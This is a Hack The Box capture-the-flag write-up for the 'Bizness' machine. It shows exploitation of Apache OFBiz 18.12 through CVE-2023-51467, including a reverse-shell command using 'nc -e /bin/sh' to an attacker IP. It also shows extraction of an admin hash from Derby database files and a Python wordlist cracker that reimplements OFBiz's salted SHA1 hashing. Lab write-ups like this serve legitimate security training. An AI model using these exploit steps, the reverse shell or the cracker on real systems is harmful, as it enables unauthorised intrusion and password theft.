Hack The Box Bizness Writeup (Easy Linux)
Easy Linux box. Apache OFBiz 18.12 falls to CVE-2023-51467 for a shell, and the Derby database's admin hash cracks against a rebuilt OFBiz routine.
Summary
Bizness redirects port 80 to a self-signed HTTPS service, and the /ebay/control/main endpoint names the backend as Apache OFBiz release 18.12. That version is vulnerable to the CVE-2023-51467 and CVE-2023-49070 authentication bypass chain, and the public exploit runs an unauthenticated command that returns a shell as the ofbiz user. Nothing on the box carries an unusual SUID bit and no other account has a shell, but ofbiz can read the embedded Derby database under /opt/ofbiz/runtime/data/derby/ofbiz/seg0, where strings recovers the admin password hash. OFBiz does not use a standard hash format, so its HashCrypt source was read and reimplemented in Python: SHA1 over the salt and the password, then base64 url-safe encoded. Running that against rockyou cracks the hash, and the same password works with su, giving root.
export IP=10.10.11.252
Service Enumeration
| IP Address | Ports Open |
|---|---|
| 10.10.11.252 | TCP: 22, 80, 443, 45879 |
Target: Web Server (port 80/443)
- HTTP port 80 is merely a redirect to HTTPS port 443.
- SSL Certificate on port 443 is self-signed, and very little information is provided.
- Neither subdomains nor usernames were found.
- Main page is a bootstrap template. Amount of information we can get out of that: None.
BS01: Initial Access - Apache OFBiz 18.12 Authentication Bypass and RCE (CVE-2023-51467 + CVE-2023-49070)
Vulnerability Explanation: Behind Security was able to pinpoint the backend’s software name and version by accessing the endpoint: https://bizness.htb/ebay/control/main (Copyright (c) 2001-2024 The Apache Software Foundation. Powered by Apache OFBiz. Release 18.12). With this crucial information in hand, we continued to further investigate and discovered that this software in this specific version is vulnerable well-known CVE that enables a remote unauthenticated attacker remote code execution.
Severity: High
Vulnerability Fix: The vendor has already released an updated version of the above mentioned software that fixes this well-known issue. Must update Apache OFBiz to the newest version available ASAP.
Steps to Reproduce the Attack:
- Clone exploit repo from github:
git clone https://github.com/jakabakos/Apache-OFBiz-Authentication-Bypass.git - Fire up a netcat listener on port 51:
sudo nc -lvnp 51 - Run the exploit with the following arguments:
python3 exploit.py --url https://bizness.htb --cmd 'nc -e /bin/sh <ATTACKER-IP> 51' - Enjoy your shell! 1. Use python to make your shell more stable:
python3 -c 'import pty; pty.spawn("/bin/bash")'- Background your shell:
Ctrl + D - Attach your tty and foreground your shell:
stty raw -echo; fg - Export TERM variable (to be able to clear your terminal using the
clearcommand):export TERM=xterm
- Background your shell:
Post Exploitation
- We got a foothold in the system as
ofbizuser, and we don’t have any valid password for they, yet. - There are none suspicious SUID/SGID binaries.
- There are 0 users with shell access besides us and root itself.
BS02: Local PE to root - Reversing OFBiz password hashing algorithm to crack admin’s password hash.
Vulnerability Explanation: Behind Security was able to abuse the read access granted for being the user ‘ofbiz’ to read the internal derby database files and exfiltrate a valid password hash for the OFBiz admin user, which turned out be the same password used to log in as root on the local system.
The password isn’t hashed by a conventional algorithm, so research on this matter was needed. Doing the research, I came across the source code for Apache OFBiz hash crypt algorithm on github.
Below is the code snippet that matters for us.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public static String cryptBytes(String hashType, String salt, byte[] bytes) {
if (hashType == null) {
hashType = "SHA";
}
if (salt == null) {
salt = RandomStringUtils.random(new SecureRandom().nextInt(15) + 1, CRYPT_CHAR_SET);
}
StringBuilder sb = new StringBuilder();
sb.append("$").append(hashType).append("$").append(salt).append("$");
sb.append(getCryptedBytes(hashType, salt, bytes));
return sb.toString();
}
private static String getCryptedBytes(String hashType, String salt, byte[] bytes) {
try {
MessageDigest messagedigest = MessageDigest.getInstance(hashType);
messagedigest.update(salt.getBytes(UtilIO.getUtf8()));
messagedigest.update(bytes);
return Base64.encodeBase64URLSafeString(messagedigest.digest()).replace('+', '.');
} catch (NoSuchAlgorithmException e) {
throw new GeneralRuntimeException("Error while comparing password", e);
}
}
This Java algorithm allows for a specific hash type (like SHA) and a salt (a random string) to be specified; if these are not provided, it defaults to “SHA” and generates a random salt. The method then encrypts the input bytes using the chosen hash type and salt, encodes the result in a URL-safe Base64 format, and constructs a string containing the hash type, salt, and encrypted data.
Severity: Extreme
Vulnerability Fix: Consider enforcing a strong password policy throughout the company, and never reuse passwords across multiple different services.
Steps to Reproduce the Attack:
- Head to
/opt/ofbiz/runtime/data/derby/ofbiz/seg0, folder that contains valid data for the derby database:cd /opt/ofbiz/runtime/data/derby/ofbiz/seg0 - Use the following method to read all files and filter solely for the hash value:
strings * | grep sha. The hash should look like this:$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I= - Refer to the following python script in order to crack the hash:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
# Disclaimer: This bruteforce script has been created solely for research purposes. It is not intended to be used for any malicious or unauthorized activities. Use responsibly.
# Date: 2024-01-09
# Author: Guilherme '@behindsecurity' Alves
import hashlib
import base64
# Constants
HASH_TYPE = "SHA1" # Specify the type of hash used (e.g., SHA1, MD5, etc.)
SALT = "d" # Salt added to the hash to enhance security
PROVIDED_HASH = "uP0_QaVBpDWFeo8-dRzDqRwXQ2I=" # The hash we are attempting to crack
def crypt_bytes(hash_type, salt, text):
"""
Encrypts a given text with specified hash type and salt.
¨NBSP;
Args:
- hash_type (str): The type of hash to be used.
- salt (str): The salt to be added to the hash.
- text (str): The text to be encrypted.
Returns:
- str: The resulting encrypted text.
"""
text_bytes = text.encode('utf-8') # Convert the text to bytes
hash_obj = hashlib.new(hash_type) # Create a hash object based on specified type
hash_obj.update(salt.encode('utf-8')) # Update the hash object with the salt
hash_obj.update(text_bytes) # Update the hash object with the text
# Perform Base64 urlsafe encoding and replace '+' with '.'
result = base64.urlsafe_b64encode(hash_obj.digest()).decode('utf-8').replace('+', '.')
return result
def test_possible_strings(hash_type, salt, provided_hash, passwords):
"""
Tests a list of possible passwords against the provided hash.
Args:
- hash_type (str): The type of hash used for encryption.
- salt (str): The salt used in the hash.
- provided_hash (str): The hash to be cracked.
- passwords (list): A list of potential passwords.
Returns:
- str or None: The matching string if found, otherwise None.
"""
for text in passwords:
if crypt_bytes(hash_type, salt, text) == provided_hash:
return text
return None
if __name__ == "__main__":
wordlist_path = input('[~] Insert the wordlist path (recommended: rockyou.txt): ')
try:
with open(wordlist_path, encoding='latin-1') as f:
passwords = [x.strip() for x in f] # Read passwords, stripping newline characters
print(f'\n[+] Performing a wordlist-based bruteforce attack against the hash value {PROVIDED_HASH}')
matched_string = test_possible_strings(HASH_TYPE, SALT, PROVIDED_HASH, passwords)
if matched_string:
print(f"[+] Match found: {matched_string}")
else:
print("[!] No match found")
except FileNotFoundError:
print("[!] Wordlist file not found. Please check the file path.")
- After cracking the hash, you should be able to log in as root by issuing the command:
suand specifying the newly discovered password.